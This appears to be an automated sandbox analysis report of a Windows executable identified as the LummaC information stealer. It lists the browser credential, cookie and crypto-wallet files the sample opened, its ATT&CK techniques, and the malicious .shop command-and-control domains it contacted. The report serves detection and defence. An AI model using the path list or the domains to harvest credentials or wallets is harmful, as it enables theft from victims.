Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	321 Security Software Discovery	Remote Services	1 Credential API Hooking	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	11 Deobfuscate/Decode Files or Information	1 Credential API Hooking	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	3 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	112 System Information Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	HEUR/AGEN.1352800
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
greetclassifytalk.shop	1%	Virustotal		Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	0%	URL Reputation	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://support.microsof	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
shortsvelventysjo.shop	0%	Avira URL Cloud	safe
incredibleextedwj.shop	0%	Avira URL Cloud	safe
tolerateilusidjukl.shop	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop/US5i	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop/api	100%	Avira URL Cloud	malware
https://greetclassifytalk.shop/Tx=	0%	Avira URL Cloud	safe
liabilitynighstjsko.shop	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop/apiO	0%	Avira URL Cloud	safe
tolerateilusidjukl.shop	14%	Virustotal		Browse
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
shortsvelventysjo.shop	16%	Virustotal		Browse
shatterbreathepsw.shop	0%	Avira URL Cloud	safe
incredibleextedwj.shop	14%	Virustotal		Browse
https://greetclassifytalk.shop/	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop/api	12%	Virustotal		Browse
demonstationfukewko.shop	0%	Avira URL Cloud	safe
greetclassifytalk.shop	0%	Avira URL Cloud	safe
shatterbreathepsw.shop	17%	Virustotal		Browse
https://greetclassifytalk.shop/G	0%	Avira URL Cloud	safe
productivelookewr.shop	0%	Avira URL Cloud	safe
https://greetclassifytalk.shop/ziRL	0%	Avira URL Cloud	safe
alcojoldwograpciw.shop	0%	Avira URL Cloud	safe
greetclassifytalk.shop	1%	Virustotal		Browse
productivelookewr.shop	16%	Virustotal		Browse
https://greetclassifytalk.shop/	1%	Virustotal		Browse
alcojoldwograpciw.shop	17%	Virustotal		Browse
liabilitynighstjsko.shop	17%	Virustotal		Browse
demonstationfukewko.shop	18%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
greetclassifytalk.shop	104.21.51.78	true	true	1%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.211.108	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
incredibleextedwj.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
shortsvelventysjo.shop	true	16%, Virustotal, Browse Avira URL Cloud: safe	unknown
tolerateilusidjukl.shop	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://greetclassifytalk.shop/api	true	12%, Virustotal, Browse Avira URL Cloud: malware	unknown
liabilitynighstjsko.shop	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
shatterbreathepsw.shop	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown
demonstationfukewko.shop	true	18%, Virustotal, Browse Avira URL Cloud: safe	unknown
greetclassifytalk.shop	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
productivelookewr.shop	true	16%, Virustotal, Browse Avira URL Cloud: safe	unknown
alcojoldwograpciw.shop	true	17%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000003.1696690146.0000000003876000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop/US5i	file.exe, 00000000.00000002.1749033743.0000000000A10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748141502.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747790604.00000000009FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop/Tx=	file.exe, 00000000.00000003.1686142545.000000000387F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://greetclassifytalk.shop/apiO	file.exe, 00000000.00000003.1686225301.0000000000A14000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000003.1696690146.0000000003876000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000003.1696690146.0000000003876000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, 00000000.00000003.1676781567.00000000038CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1676781567.00000000038CC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1696211713.000000000399C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop/	file.exe, 00000000.00000002.1749033743.0000000000A10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1686225301.0000000000A14000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1676472111.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1686178285.000000000387F000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748141502.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1676279859.00000000009BD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747790604.00000000009FC000.00000004.00000020.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1696690146.0000000003876000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.1696690146.0000000003876000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://greetclassifytalk.shop/G	file.exe, 00000000.00000002.1749033743.0000000000A10000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1748141502.0000000000A0F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1747790604.00000000009FC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://greetclassifytalk.shop/ziRL	file.exe, 00000000.00000003.1676472111.00000000009E8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.microsof	file.exe, 00000000.00000003.1676781567.00000000038CE000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1695213060.0000000003892000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1696211713.000000000399C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1677888710.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677731818.00000000038B7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1677230741.00000000038B9000.00000004.00000800.00020000.00000000.sdmp	false		high
